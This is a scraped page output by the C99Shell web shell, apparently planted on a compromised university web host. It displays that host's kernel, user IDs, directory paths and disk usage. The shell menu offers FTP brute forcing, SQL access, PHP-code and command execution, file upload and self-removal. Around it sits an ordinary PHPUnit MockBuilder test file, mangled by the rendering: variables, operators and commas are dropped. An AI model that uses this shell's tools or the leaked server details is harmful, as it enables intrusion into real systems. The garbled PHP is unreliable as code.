!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/phpunit-mock-objects/tests/   drwxr-xr-x
Free 117.31 GB of 200.55 GB (58.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MockBuilderTest.php (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the PHPUnit_MockObject package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * @since      File available since Release 1.0.0
 */
class Framework_MockBuilderTest extends PHPUnit_Framework_TestCase
{
    public function 
testMockBuilderRequiresClassName()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$mock $spec->getMock();
        
$this->assertTrue($mock instanceof Mockable);
    }

    public function 
testByDefaultMocksAllMethods()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$mock $spec->getMock();
        
$this->assertNull($mock->mockableMethod());
        
$this->assertNull($mock->anotherMockableMethod());
    }

    public function 
testMethodsToMockCanBeSpecified()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$spec->setMethods(array('mockableMethod'));
        
$mock $spec->getMock();
        
$this->assertNull($mock->mockableMethod());
        
$this->assertTrue($mock->anotherMockableMethod());
    }

    public function 
testByDefaultDoesNotPassArgumentsToTheConstructor()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$mock $spec->getMock();
        
$this->assertEquals(array(nullnull), $mock->constructorArgs);
    }

    public function 
testMockClassNameCanBeSpecified()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$spec->setMockClassName('ACustomClassName');
        
$mock $spec->getMock();
        
$this->assertTrue($mock instanceof ACustomClassName);
    }

    public function 
testConstructorArgumentsCanBeSpecified()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$spec->setConstructorArgs($expected = array(2342));
        
$mock $spec->getMock();
        
$this->assertEquals($expected$mock->constructorArgs);
    }

    public function 
testOriginalConstructorCanBeDisabled()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$spec->disableOriginalConstructor();
        
$mock $spec->getMock();
        
$this->assertNull($mock->constructorArgs);
    }

    public function 
testByDefaultOriginalCloneIsPreserved()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$mock $spec->getMock();
        
$cloned = clone $mock;
        
$this->assertTrue($cloned->cloned);
    }

    public function 
testOriginalCloneCanBeDisabled()
    {
        
$spec $this->getMockBuilder('Mockable');
        
$spec->disableOriginalClone();
        
$mock $spec->getMock();
        
$mock->cloned false;
        
$cloned = clone $mock;
        
$this->assertFalse($cloned->cloned);
    }

    public function 
testCallingAutoloadCanBeDisabled()
    {
        
// it is not clear to me how to test this nor the difference
        // between calling it or not
        
$this->markTestIncomplete();
    }

    public function 
testProvidesAFluentInterface()
    {
        
$spec $this->getMockBuilder('Mockable')
                     ->
setMethods(array('mockableMethod'))
                     ->
setConstructorArgs(array())
                     ->
setMockClassName('DummyClassName')
                     ->
disableOriginalConstructor()
                     ->
disableOriginalClone()
                     ->
disableAutoload();
        
$this->assertTrue($spec instanceof PHPUnit_Framework_MockObject_MockBuilder);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.009 ]--